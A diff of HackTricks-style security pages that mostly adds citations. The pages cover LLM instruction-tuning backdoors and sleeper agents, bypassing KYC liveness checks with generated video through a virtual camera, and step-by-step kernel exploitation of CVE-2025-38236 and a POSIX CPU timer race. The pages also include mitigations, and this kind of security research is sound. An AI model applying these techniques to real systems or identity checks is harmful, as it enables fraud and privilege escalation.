+- **Modern SFT best practice:** if the dataset is conversational, compute the loss only on the **assistant completion tokens** and not on the user/system prompt. This avoids teaching the model to predict the prompt text itself.<sup>[[2]](#references)</sup>
 - **Throughput optimization:** when the dataset contains many short samples, it's common to **pack several examples into the same sequence** to waste less context window.
 
 With this created, it's time to create the data loaders for each dataset (training, validation, and test).
@@ -140,9 +140,9 @@ and many many more.
 
 ## Security notes for instruction tuning
 
-Instruction-tuning datasets are also an attack surface. If an attacker can insert a small number of poisoned samples into the SFT corpus, the model can learn a **trigger-conditioned behaviour** while still looking normal on clean prompts.
+Instruction-tuning datasets are also an attack surface. If an attacker can insert a small number of poisoned samples into the SFT corpus, the model can learn a **trigger-conditioned behaviour** while still looking normal on clean prompts.<sup>[[3]](#references)</sup>
 
-Typical malicious patterns to test during red teaming are:
+Typical malicious patterns to test during red teaming are:<sup>[[3]](#references)</sup>
 
 - **Instruction backdoors:** a rare trigger string, role prefix, unicode pattern, or formatting sequence causes the model to output attacker-chosen content.
 - **Sleeper-agent behaviour:** the model behaves correctly during normal evaluations but changes behaviour only when a very specific trigger appears.
@@ -159,7 +159,7 @@ Practical checks:
 
 You can find an example of the code to perform this fine-tuning in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py)
 
-A practical modern alternative is to use a trainer that already supports chat templates, assistant-only loss, packing, and PEFT adapters. If later you want preference alignment, the same ecosystem also provides `DPOTrainer`-style workflows for datasets with `prompt` / `chosen` / `rejected` fields:
+A practical modern alternative is to use a trainer that already supports chat templates, assistant-only loss, packing, and PEFT adapters. If later you want preference alignment, the same ecosystem also provides `DPOTrainer`-style workflows for datasets with `prompt` / `chosen` / `rejected` fields:<sup>[[2]](#references)</sup>
 
 
 ```python
@@ -179,8 +179,8 @@ trainer.train()
 
 ## References
 
-- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
-- [https://huggingface.co/docs/trl/en/sft_trainer](https://huggingface.co/docs/trl/en/sft_trainer)
-- [https://aclanthology.org/2024.naacl-long.171/](https://aclanthology.org/2024.naacl-long.171/)
+- [1] [Build a Large Language Model from Scratch (Manning)](https://www.manning.com/books/build-a-large-language-model-from-scratch)
+- [2] [TRL SFT Trainer documentation (Hugging Face)](https://huggingface.co/docs/trl/en/sft_trainer)
+- [3] [Instructions as Backdoors: Backdoor Vulnerabilities of Instruction Tuning for Large Language Models](https://aclanthology.org/2024.naacl-long.171/)
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/AI/KYC-Bypass-Using-AI.md b/src/AI/KYC-Bypass-Using-AI.md
index 309d960c5b5..01120135d12 100644
--- a/src/AI/KYC-Bypass-Using-AI.md
+++ b/src/AI/KYC-Bypass-Using-AI.md
@@ -2,7 +2,7 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-Generative models can be used to **bypass browser-based KYC, age-verification, and biometric liveness workflows**. The weak point is often **not** the transport or the cloud liveness provider, but the **camera trust boundary**: a desktop browser usually trusts whatever device `getUserMedia()` exposes as a webcam.
+Generative models can be used to **bypass browser-based KYC, age-verification, and biometric liveness workflows**. The weak point is often **not** the transport or the cloud liveness provider, but the **camera trust boundary**: a desktop browser usually trusts whatever device `getUserMedia()` exposes as a webcam.<sup>[[1]](#references)</sup>
 
 ## Practical Attack Chain
 
@@ -10,7 +10,7 @@ Generative models can be used to **bypass browser-based KYC, age-verification, a
 2. **Inject the forged stream before signing or upload**, for example through a Linux virtual camera created with `v4l2loopback` and fed by OBS or FFmpeg.
 3. Let the browser and vendor SDK (WebRTC, AWS, etc.) **capture, sign, and upload the attacker-controlled frames as if they came from a real webcam**.
 
-This is important during assessments because signed WebSocket chunks or proprietary SDK framing may make **network-layer tampering** impractical, while **camera-layer injection** still works.
+This is important during assessments because signed WebSocket chunks or proprietary SDK framing may make **network-layer tampering** impractical, while **camera-layer injection** still works.<sup>[[1]](#references)</sup>
 
 ## High-Value Testing Angles
 
@@ -19,7 +19,7 @@ This is important during assessments because signed WebSocket chunks or propriet
 - **Constraint weakening**: pages that require exact `deviceId`, `frameRate`, `width`, `height`, or `facingMode` can sometimes be bypassed by monkeypatching `navigator.mediaDevices.getUserMedia` and replacing strict constraints with broader ranges.
 - **Low-quality generation plus post-processing**: generate the cheapest video the model can render reliably, then use FFmpeg upscaling or frame interpolation to satisfy capture requirements.
 - **Predictable active challenges**: repeated head-movement or light-flash sequences are worth recording and replaying through a generative workflow.
-- **Weak replay detection**: simple scene perturbations, such as crop or position shifts, overlay changes, or slight motion, can be enough when the anti-replay logic only checks superficial frame similarity.
+- **Weak replay detection**: simple scene perturbations, such as crop or position shifts, overlay changes, or slight motion, can be enough when the anti-replay logic only checks superficial frame similarity.<sup>[[1]](#references)</sup>
 
 ## Mobile vs. Desktop Trust Differences
 
@@ -29,7 +29,7 @@ Native mobile apps can raise the attacker's cost with:
 - **execution-integrity** signals such as **Play Integrity** or **App Attest**;
 - **motion correlation** between video and accelerometer or gyroscope telemetry.
 
-Desktop web flows usually lack an equivalent camera chain of trust, so they are generally the path of least resistance.
+Desktop web flows usually lack an equivalent camera chain of trust, so they are generally the path of least resistance.<sup>[[1]](#references)</sup>
 
 ## Defensive Review Notes
 
@@ -38,13 +38,13 @@ When reviewing a KYC or liveness integration, verify whether it:
 - allows a **desktop-browser fallback** for a workflow that was only threat-modeled for mobile capture;
 - relies mostly on **algorithmic liveness** without strong human escalation for suspicious sessions;
 - uses **stable or predictable challenges** that can be pre-recorded and fed into a generation pipeline;
-- detects **`getUserMedia` monkeypatching**, virtual cameras, inconsistent browser hardware telemetry, or missing device attestation.
+- detects **`getUserMedia` monkeypatching**, virtual cameras, inconsistent browser hardware telemetry, or missing device attestation.<sup>[[1]](#references)</sup>
 
 ## References
 
-- [Synacktiv - KYC: Bypass age verification using generative video models](https://www.synacktiv.com/en/publications/kyc-bypass-age-verification-using-generative-video-models.html)
-- [Amazon Rekognition Face Liveness](https://docs.aws.amazon.com/rekognition/latest/dg/face-liveness.html)
-- [v4l2loopback](https://github.com/v4l2loopback/v4l2loopback)
-- [MDN - MediaDevices.getUserMedia()](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)
+- [1] [Synacktiv - KYC: Bypass age verification using generative video models](https://www.synacktiv.com/en/publications/kyc-bypass-age-verification-using-generative-video-models.html)
+- [2] [Amazon Rekognition Face Liveness](https://docs.aws.amazon.com/rekognition/latest/dg/face-liveness.html)
+- [3] [v4l2loopback](https://github.com/v4l2loopback/v4l2loopback)
+- [4] [MDN - MediaDevices.getUserMedia()](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/linux-kernel-exploitation/af-unix-msg-oob-uaf-skb-primitives.md b/src/binary-exploitation/linux-kernel-exploitation/af-unix-msg-oob-uaf-skb-primitives.md
index 97be6550cee..30aa50d18c4 100644
--- a/src/binary-exploitation/linux-kernel-exploitation/af-unix-msg-oob-uaf-skb-primitives.md
+++ b/src/binary-exploitation/linux-kernel-exploitation/af-unix-msg-oob-uaf-skb-primitives.md
@@ -4,23 +4,23 @@
 
 ## TL;DR
 
-- Linux >=6.9 introduced a flawed `manage_oob()` refactor (`5aa57d9f2d53`) for AF_UNIX `MSG_OOB` handling. Stacked zero-length SKBs bypassed the logic that clears `u->oob_skb`, so a normal `recv()` could free the out-of-band SKB while the pointer remained live, leading to CVE-2025-38236.
+- Linux >=6.9 introduced a flawed `manage_oob()` refactor (`5aa57d9f2d53`) for AF_UNIX `MSG_OOB` handling. Stacked zero-length SKBs bypassed the logic that clears `u->oob_skb`, so a normal `recv()` could free the out-of-band SKB while the pointer remained live, leading to CVE-2025-38236.<sup>[[1]](#references)</sup>
 - Re-triggering `recv(..., MSG_OOB)` dereferences the dangling `struct sk_buff`. With `MSG_PEEK`, the path `unix_stream_recv_urg() -> __skb_datagram_iter() -> copy_to_user()` becomes a stable 1-byte arbitrary kernel read; without `MSG_PEEK` the primitive increments `UNIXCB(oob_skb).consumed` at offset `0x44`, i.e., adds +4 GiB to the upper dword of any 64-bit value placed at offset `0x40` inside the reallocated object.
 - By draining order-0/1 unmovable pages (page-table spray), force-freeing an SKB slab page into the buddy allocator, and reusing the physical page as a pipe buffer, the exploit forges SKB metadata in controlled memory to identify the dangling page and pivot the read primitive into `.data`, vmemmap, per-CPU, and page-table regions despite usercopy hardening.
 - The same page can later be recycled as the top kernel-stack page of a freshly cloned thread. `CONFIG_RANDOMIZE_KSTACK_OFFSET` becomes an oracle: by probing the stack layout while `pipe_write()` blocks, the attacker waits until the spilled `copy_page_from_iter()` length (R14) lands at offset `0x40`, then fires the +4 GiB increment to corrupt the stack value.
 - A self-looping `skb_shinfo()->frag_list` keeps the UAF syscall spinning in kernel space until a cooperating thread stalls `copy_from_iter()` (via `mprotect()` over a VMA containing a single `MADV_DONTNEED` hole). Breaking the loop releases the increment exactly when the stack target is live, inflating the `bytes` argument so `copy_page_from_iter()` writes past the pipe buffer page into the next physical page.
-- By monitoring pipe-buffer PFNs and page tables with the read primitive, the attacker ensures the following page is a PTE page, converts the OOB copy into arbitrary PTE writes, and obtains unrestricted kernel read/write/execute. Chrome mitigated reachability by blocking `MSG_OOB` from renderers (`6711812`), and Linux fixed the logic flaw in `32ca245464e1` plus introduced `CONFIG_AF_UNIX_OOB` to make the feature optional.
+- By monitoring pipe-buffer PFNs and page tables with the read primitive, the attacker ensures the following page is a PTE page, converts the OOB copy into arbitrary PTE writes, and obtains unrestricted kernel read/write/execute. Chrome mitigated reachability by blocking `MSG_OOB` from renderers (`6711812`), and Linux fixed the logic flaw in `32ca245464e1` plus introduced `CONFIG_AF_UNIX_OOB` to make the feature optional.<sup>[[1]](#references)[[2]](#references)[[3]](#references)[[4]](#references)</sup>
 
 ## Version / configuration checklist
 
 - **Feature lineage:** AF_UNIX `MSG_OOB` support itself was added by `314001f0bf92` ("af_unix: Add OOB support"), merged for Linux 5.15. The last byte of a `send(..., MSG_OOB)` becomes the urgent byte and is tracked through `unix_sock->oob_skb`.
-- **Public exploitability window:** Jann Horn's public exploit write-up focuses on Linux `>= 6.9`, but vendors can backport both buggy and fixed AF_UNIX OOB patches to older stable trees. Check for `32ca245464e1` (or an equivalent stable backport) instead of trusting the release string alone.
-- **Build/runtime gates:** The attack path requires AF_UNIX OOB support to exist at runtime (`CONFIG_AF_UNIX_OOB`). Since `5155cbcdbf03` (December 2024), that option is explicitly visible in `.config`; before that, OOB support silently rode along with AF_UNIX support by default.
-- **Sandbox reachability:** Any sandbox that exposes AF_UNIX stream sockets and does not filter `MSG_OOB` / `MSG_PEEK` stays interesting even if the application never intentionally uses urgent data. Chrome closed the reachable path by allowlisting socket-call flags in CL `6711812`.
+- **Public exploitability window:** Jann Horn's public exploit write-up focuses on Linux `>= 6.9`, but vendors can backport both buggy and fixed AF_UNIX OOB patches to older stable trees. Check for `32ca245464e1` (or an equivalent stable backport) instead of trusting the release string alone.<sup>[[1]](#references)[[2]](#references)</sup>
+- **Build/runtime gates:** The attack path requires AF_UNIX OOB support to exist at runtime (`CONFIG_AF_UNIX_OOB`). Since `5155cbcdbf03` (December 2024), that option is explicitly visible in `.config`; before that, OOB support silently rode along with AF_UNIX support by default.<sup>[[4]](#references)</sup>
+- **Sandbox reachability:** Any sandbox that exposes AF_UNIX stream sockets and does not filter `MSG_OOB` / `MSG_PEEK` stays interesting even if the application never intentionally uses urgent data. Chrome closed the reachable path by allowlisting socket-call flags in CL `6711812`.<sup>[[3]](#references)</sup>
 
 ## Root cause: `manage_oob()` assumes only one zero-length SKB
 
-`unix_stream_read_generic()` expects every SKB returned by `manage_oob()` to have `unix_skb_len() > 0`. After `93c99f21db36`, `manage_oob()` skipped the `skb == u->oob_skb` cleanup path whenever it first removed a zero-length SKB left behind by `recv(MSG_OOB)`. The subsequent fix (`5aa57d9f2d53`) still advanced from the first zero-length SKB to `skb_peek_next()` without re-checking the length. With two consecutive zero-length SKBs, the function returned the second empty SKB; `unix_stream_read_generic()` then skipped it without calling `manage_oob()` again, so the true OOB SKB was dequeued and freed while `u->oob_skb` still pointed to it.
+`unix_stream_read_generic()` expects every SKB returned by `manage_oob()` to have `unix_skb_len() > 0`. After `93c99f21db36`, `manage_oob()` skipped the `skb == u->oob_skb` cleanup path whenever it first removed a zero-length SKB left behind by `recv(MSG_OOB)`. The subsequent fix (`5aa57d9f2d53`) still advanced from the first zero-length SKB to `skb_peek_next()` without re-checking the length. With two consecutive zero-length SKBs, the function returned the second empty SKB; `unix_stream_read_generic()` then skipped it without calling `manage_oob()` again, so the true OOB SKB was dequeued and freed while `u->oob_skb` still pointed to it.<sup>[[1]](#references)</sup>
 
 ### Minimal trigger sequence
 
@@ -42,12 +42,12 @@ recv(socks[0], &byte, 1, MSG_OOB);   // dangling u->oob_skb
 - **Boundary semantics:** AF_UNIX OOB is TCP-like: a normal `recv()` stops at the urgent mark even when the caller's buffer is large enough to consume more (`oob_break` in the upstream kselftest). This is why a consumed OOB SKB can remain relevant after the urgent byte was already read.
 - **Dropping vs. reading urgent data:** With the default `SO_OOBINLINE = 0`, `recv(MSG_OOB)` returns the urgent byte, but the queue still keeps the consumed SKB as a boundary marker. A later plain `recv()` can either stop at that mark or drop the consumed OOB and continue into the following SKB (`oob_break_drop`) — the exact corner that turns stale `u->oob_skb` into a UAF.
 - **`SO_OOBINLINE` changes the trigger surface:** If `SO_OOBINLINE` is enabled on the receiver, `recv(MSG_OOB)` returns `-EINVAL` and the urgent byte is consumed through plain `recv()` instead. Public reproducers assume the default non-inline mode.
-- **Useful observability:** `EPOLLPRI` tracks whether an urgent mark is still pending, and `ioctl(fd, SIOCATMARK, &atmark)` reveals whether the next unread byte sits at the urgent boundary. When adapting the primitive to another kernel, `tools/testing/selftests/net/af_unix/msg_oob.c` is a good behavioural oracle.
+- **Useful observability:** `EPOLLPRI` tracks whether an urgent mark is still pending, and `ioctl(fd, SIOCATMARK, &atmark)` reveals whether the next unread byte sits at the urgent boundary. When adapting the primitive to another kernel, `tools/testing/selftests/net/af_unix/msg_oob.c` is a good behavioural oracle.<sup>[[1]](#references)[[5]](#references)</sup>
 
 ## Primitives exposed by `unix_stream_recv_urg()`
 
 1. **1-byte arbitrary read (repeatable):** `state->recv_actor()` ultimately performs `copy_to_user(user, skb_sourced_addr, 1)`. If the dangling SKB is reallocated into attacker-controlled memory (or into a controlled alias such as a pipe page), every `recv(MSG_OOB | MSG_PEEK)` copies a byte from an arbitrary kernel address allowed by `__check_object_size()` to user space without crashing. Keeping `MSG_PEEK` set preserves the dangling pointer for unlimited reads.
-2. **Constrained write:** When `MSG_PEEK` is clear, `UNIXCB(oob_skb).consumed += 1` increments the 32-bit field at offset `0x44`. On 0x100-aligned SKB allocations this sits four bytes above an 8-byte aligned word, converting the primitive into a +4 GiB increment of the word hosted at offset `0x40`. Turning this into a kernel write requires positioning a sensitive 64-bit value at that offset.
+2. **Constrained write:** When `MSG_PEEK` is clear, `UNIXCB(oob_skb).consumed += 1` increments the 32-bit field at offset `0x44`. On 0x100-aligned SKB allocations this sits four bytes above an 8-byte aligned word, converting the primitive into a +4 GiB increment of the word hosted at offset `0x40`. Turning this into a kernel write requires positioning a sensitive 64-bit value at that offset.<sup>[[1]](#references)</sup>
 
 ## Reallocating the SKB page for arbitrary read
 
@@ -56,13 +56,13 @@ recv(socks[0], &byte, 1, MSG_OOB);   // dangling u->oob_skb
 3. **Return the slab page to the buddy allocator:** Free every object on the page, then perform enough additional allocations/frees to push the page out of SLUB per-CPU partial lists and per-CPU page lists so it becomes an order-1 page on the buddy freelist.
 4. **Reallocate as pipe buffer:** Create hundreds of pipes; each pipe reserves at least two 0x1000-byte data pages (`PIPE_MIN_DEF_BUFFERS`). When the buddy allocator splits an order-1 page, one half reuses the freed SKB page. To locate which pipe and which offset aliases `oob_skb`, write unique marker bytes into fake SKBs stored throughout pipe pages and issue repeated `recv(MSG_OOB | MSG_PEEK)` calls until the marker is returned.
 5. **Forge a stable SKB layout:** Populate the aliased pipe page with a fake `struct sk_buff` whose `data`/`head` pointers and `skb_shared_info` structure point to arbitrary kernel addresses of interest. Because x86_64 disables SMAP inside `copy_to_user()`, user-mode addresses can serve as staging buffers until kernel pointers are known.
-6. **Respect usercopy hardening:** The copy succeeds against `.data/.bss`, vmemmap entries, per-CPU vmalloc ranges, other threads' kernel stacks, and direct-map pages that do not straddle higher-order folio boundaries. Reads against `.text` or specialized caches rejected by `__check_heap_object()` simply return `-EFAULT` without killing the process.
+6. **Respect usercopy hardening:** The copy succeeds against `.data/.bss`, vmemmap entries, per-CPU vmalloc ranges, other threads' kernel stacks, and direct-map pages that do not straddle higher-order folio boundaries. Reads against `.text` or specialized caches rejected by `__check_heap_object()` simply return `-EFAULT` without killing the process.<sup>[[1]](#references)</sup>
 
 ## Introspecting allocators with the read primitive
 
 - **Break KASLR:** Read any IDT descriptor from the fixed mapping at `CPU_ENTRY_AREA_RO_IDT_VADDR` (`0xfffffe0000000000`) and subtract the known handler offset to recover the kernel base.
 - **SLUB/buddy state:** Global `.data` symbols reveal `kmem_cache` bases, while vmemmap entries expose each page's type flags, freelist pointer, and owning cache. Scanning per-CPU vmalloc segments uncovers `struct kmem_cache_cpu` instances so the next allocation address of key caches (e.g., `skbuff_head_cache`, `kmalloc-cg-192`) becomes predictable.
-- **Page tables:** Instead of reading `mm_struct` (blocked by usercopy), walk the global `pgd_list` (`struct ptdesc`) and match the current `mm_struct` via `cpu_tlbstate.loaded_mm`. Once the root `pgd` is known, the primitive can traverse every page table to map PFNs for pipe buffers, page tables, and kernel stacks.
+- **Page tables:** Instead of reading `mm_struct` (blocked by usercopy), walk the global `pgd_list` (`struct ptdesc`) and match the current `mm_struct` via `cpu_tlbstate.loaded_mm`. Once the root `pgd` is known, the primitive can traverse every page table to map PFNs for pipe buffers, page tables, and kernel stacks.<sup>[[1]](#references)</sup>
 
 ## Recycling the SKB page as the top kernel-stack page
 
@@ -70,45 +70,45 @@ recv(socks[0], &byte, 1, MSG_OOB);   // dangling u->oob_skb
 2. Immediately allocate four helper pipe pages and then free them in reverse order so the buddy allocator's LIFO behavior is deterministic.
 3. Call `clone()` to spawn a helper thread; Linux stacks are four pages on x86_64, so the four most recently freed pages become its stack, with the last freed page (the former SKB page) at the highest addresses.
 4. Verify via page-table walk that the helper thread's top stack PFN equals the recycled SKB PFN.
-5. Use the arbitrary read to observe the stack layout while steering the thread into `pipe_write()`. `CONFIG_RANDOMIZE_KSTACK_OFFSET` subtracts a random 0x0–0x3f0 (aligned) from `RSP` per syscall; repeated writes combined with `poll()`/`read()` from another thread reveal when the writer blocks with the desired offset. When lucky, the spilled `copy_page_from_iter()` `bytes` argument (R14) sits at offset `0x40` inside the recycled page.
+5. Use the arbitrary read to observe the stack layout while steering the thread into `pipe_write()`. `CONFIG_RANDOMIZE_KSTACK_OFFSET` subtracts a random 0x0–0x3f0 (aligned) from `RSP` per syscall; repeated writes combined with `poll()`/`read()` from another thread reveal when the writer blocks with the desired offset. When lucky, the spilled `copy_page_from_iter()` `bytes` argument (R14) sits at offset `0x40` inside the recycled page.<sup>[[1]](#references)</sup>
 
 ## Placing fake SKB metadata on the stack
 
 - Use `sendmsg()` on an AF_UNIX datagram socket: the kernel copies the user `sockaddr_un` into a stack-resident `sockaddr_storage` (up to 108 bytes) and the ancillary data into another on-stack buffer before the syscall blocks waiting for queue space. This allows planting a precise fake SKB structure in stack memory.
 - Detect when the copy finished by supplying a 1-byte control message located in an unmapped user page; `____sys_sendmsg()` faults it in, so a helper thread polling `mincore()` on that address learns when the destination page is present.
-- Zero-initialized padding from `CONFIG_INIT_STACK_ALL_ZERO` conveniently fills unused fields, completing a valid SKB header without extra writes.
+- Zero-initialized padding from `CONFIG_INIT_STACK_ALL_ZERO` conveniently fills unused fields, completing a valid SKB header without extra writes.<sup>[[1]](#references)</sup>
 
 ## Timing the +4 GiB increment with a self-looping frag list
 
 - Forge `skb_shinfo(fakeskb)->frag_list` to point to a second fake SKB (stored in attacker-controlled user memory) that has `len = 0` and `next = &self`. When `skb_walk_frags()` iterates this list inside `__skb_datagram_iter()`, execution spins indefinitely because the iterator never reaches `NULL` and the copy loop makes no progress.
-- Keep the recv syscall running inside the kernel by letting the second fake SKB self-loop. When it's time to fire the increment, simply change the second SKB's `next` pointer from user space to `NULL`. The loop exits and `unix_stream_recv_urg()` immediately executes `UNIXCB(oob_skb).consumed += 1` once, affecting whatever object currently occupies the recycled stack page at offset `0x40`.
+- Keep the recv syscall running inside the kernel by letting the second fake SKB self-loop. When it's time to fire the increment, simply change the second SKB's `next` pointer from user space to `NULL`. The loop exits and `unix_stream_recv_urg()` immediately executes `UNIXCB(oob_skb).consumed += 1` once, affecting whatever object currently occupies the recycled stack page at offset `0x40`.<sup>[[1]](#references)</sup>
 
 ## Stalling `copy_from_iter()` without userfaultfd
 
 - Map a giant anonymous RW VMA and fault it in fully.
 - Punch a single-page hole with `madvise(MADV_DONTNEED, hole, PAGE_SIZE)` and place that address inside the `iov_iter` used for `write(pipefd, user_buf, 0x3000)`.
-- In parallel, call `mprotect()` on the entire VMA from another thread. The syscall grabs the mmap write lock and walks every PTE. When the pipe writer reaches the hole, the page fault handler blocks on the mmap lock held by `mprotect()`, pausing `copy_from_iter()` at a deterministic point while the spilled `bytes` value resides on the stack segment hosted by the recycled SKB page.
+- In parallel, call `mprotect()` on the entire VMA from another thread. The syscall grabs the mmap write lock and walks every PTE. When the pipe writer reaches the hole, the page fault handler blocks on the mmap lock held by `mprotect()`, pausing `copy_from_iter()` at a deterministic point while the spilled `bytes` value resides on the stack segment hosted by the recycled SKB page.<sup>[[1]](#references)</sup>
 
 ## Turning the increment into arbitrary PTE writes
 
 1. **Fire the increment:** Release the frag loop while `copy_from_iter()` is stalled so the +4 GiB increment hits the `bytes` variable.
 2. **Overflow the copy:** Once the fault resumes, `copy_page_from_iter()` believes it can copy >4 GiB into the current pipe page. After filling the legitimate 0x2000 bytes (two pipe buffers), it executes another iteration and writes the remaining user data into whatever physical page follows the pipe buffer PFN.
 3. **Arrange adjacency:** Using allocator telemetry, force the buddy allocator to place a process-owned PTE page immediately after the target pipe buffer page (e.g., alternate between allocating pipe pages and touching new virtual ranges to trigger page-table allocation until the PFNs align inside the same 2 MiB pageblock).
-4. **Overwrite page tables:** Encode desired PTE entries in the extra 0x1000 bytes of user data so the OOB `copy_from_iter()` fills the neighbouring page with attacker-chosen entries, granting RW/RWX user mappings of kernel physical memory or rewriting existing entries to disable SMEP/SMAP.
+4. **Overwrite page tables:** Encode desired PTE entries in the extra 0x1000 bytes of user data so the OOB `copy_from_iter()` fills the neighbouring page with attacker-chosen entries, granting RW/RWX user mappings of kernel physical memory or rewriting existing entries to disable SMEP/SMAP.<sup>[[1]](#references)</sup>
 
 ## Mitigations / hardening ideas
 
-- **Kernel:** Apply `32ca245464e1479bfea8592b9db227fdc1641705` (properly revalidates SKBs) and consider disabling AF_UNIX OOB entirely unless strictly needed via `CONFIG_AF_UNIX_OOB` (`5155cbcdbf03`). Harden `manage_oob()` with additional sanity checks (e.g., loop until `unix_skb_len() > 0`) and audit other socket protocols for similar assumptions.
-- **Sandboxing:** Filter `MSG_OOB`/`MSG_PEEK` flags in seccomp profiles or higher-level broker APIs (Chrome change `6711812` now blocks renderer-side `MSG_OOB`).
+- **Kernel:** Apply `32ca245464e1479bfea8592b9db227fdc1641705` (properly revalidates SKBs) and consider disabling AF_UNIX OOB entirely unless strictly needed via `CONFIG_AF_UNIX_OOB` (`5155cbcdbf03`). Harden `manage_oob()` with additional sanity checks (e.g., loop until `unix_skb_len() > 0`) and audit other socket protocols for similar assumptions.<sup>[[2]](#references)[[4]](#references)</sup>
+- **Sandboxing:** Filter `MSG_OOB`/`MSG_PEEK` flags in seccomp profiles or higher-level broker APIs (Chrome change `6711812` now blocks renderer-side `MSG_OOB`).<sup>[[3]](#references)</sup>
 - **Allocator defenses:** Strengthening SLUB freelist randomization or enforcing per-cache page coloring would complicate deterministic page recycling; pipeline-limiting of pipe buffer counts also reduces reallocation reliability.
 - **Monitoring:** Expose high-rate page-table allocation or abnormal pipe usage via telemetry—this exploit burns large amounts of page tables and pipe buffers.
 
 ## References
 
-- [Project Zero – "From Chrome renderer code exec to kernel with MSG_OOB"](https://projectzero.google/2025/08/from-chrome-renderer-code-exec-to-kernel.html)
-- [Linux fix for CVE-2025-38236 (`manage_oob` revalidation)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=32ca245464e1479bfea8592b9db227fdc1641705)
-- [Chromium CL 6711812 – block `MSG_OOB` in renderers](https://chromium-review.googlesource.com/c/chromium/src/+/6711812)
-- [Commit adding `CONFIG_AF_UNIX_OOB` prompt](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5155cbcdbf03f207095f9a3794942a25aa7e5f58)
-- [Linux kselftest for AF_UNIX OOB semantics (`tools/testing/selftests/net/af_unix/msg_oob.c`)](https://github.com/torvalds/linux/blob/master/tools/testing/selftests/net/af_unix/msg_oob.c)
+- [1] [Project Zero – "From Chrome renderer code exec to kernel with MSG_OOB"](https://projectzero.google/2025/08/from-chrome-renderer-code-exec-to-kernel.html)
+- [2] [Linux fix for CVE-2025-38236 (`manage_oob` revalidation)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=32ca245464e1479bfea8592b9db227fdc1641705)
+- [3] [Chromium CL 6711812 – block `MSG_OOB` in renderers](https://chromium-review.googlesource.com/c/chromium/src/+/6711812)
+- [4] [Commit adding `CONFIG_AF_UNIX_OOB` prompt](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5155cbcdbf03f207095f9a3794942a25aa7e5f58)
+- [5] [Linux kselftest for AF_UNIX OOB semantics (`tools/testing/selftests/net/af_unix/msg_oob.c`)](https://github.com/torvalds/linux/blob/master/tools/testing/selftests/net/af_unix/msg_oob.c)
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md b/src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md
index 8ac2135167a..c41539bf4c1 100644
--- a/src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md
+++ b/src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md
@@ -2,7 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-This page documents a TOCTOU race condition in Linux/Android POSIX CPU timers that can corrupt timer state and crash the kernel, and under some circumstances be steered toward privilege escalation.
+This page documents a TOCTOU race condition in Linux/Android POSIX CPU timers that can corrupt timer state and crash the kernel, and under some circumstances be steered toward privilege escalation.<sup>[[1]](#references)[[5]](#references)[[6]](#references)[[7]](#references)</sup>
 
 - Affected component: kernel/time/posix-cpu-timers.c
 - Primitive: expiry vs deletion race under task exit
@@ -147,7 +147,7 @@ Sequence
 2) collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list.
 3) handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock.
 4) Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del().
-5) In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB.
+5) In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB.<sup>[[1]](#references)</sup>
 
 Why TASK_WORK mode is safe by design
 - With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur.
@@ -162,10 +162,10 @@ if (tsk->exit_state)
     return;
 ```
 
-- This prevents entering handle_posix_cpu_timers() for exiting tasks, eliminating the window where posix_cpu_timer_del() could miss it.cpu.firing and race with expiry processing.
+- This prevents entering handle_posix_cpu_timers() for exiting tasks, eliminating the window where posix_cpu_timer_del() could miss it.cpu.firing and race with expiry processing.<sup>[[2]](#references)[[3]](#references)</sup>
 
 Impact
-- Kernel memory corruption of timer structures during concurrent expiry/deletion can yield immediate crashes (DoS) and is a strong primitive toward privilege escalation due to arbitrary kernel-state manipulation opportunities.
+- Kernel memory corruption of timer structures during concurrent expiry/deletion can yield immediate crashes (DoS) and is a strong primitive toward privilege escalation due to arbitrary kernel-state manipulation opportunities.<sup>[[1]](#references)</sup>
 
 Triggering the bug (safe, reproducible conditions)
 Build/config
@@ -216,7 +216,7 @@ Notes for exploitation research
 - The disclosed behavior is a reliable kernel crash primitive; turning it into privilege escalation typically needs an additional controllable overlap (object lifetime or write-what-where influence) beyond the scope of this summary. Treat any PoC as potentially destabilizing and run only in emulators/VMs.
 
 ### Chronomaly exploit strategy (priv-esc without fixed text offsets)
-- **Tested target & configs:** x86_64 v5.10.157 under QEMU (4 cores, 3 GB RAM). Critical options: `CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n`, `CONFIG_PREEMPT=y`, `CONFIG_SLAB_MERGE_DEFAULT=n`, `DEBUG_LIST=n`, `BUG_ON_DATA_CORRUPTION=n`, `LIST_HARDENED=n`.
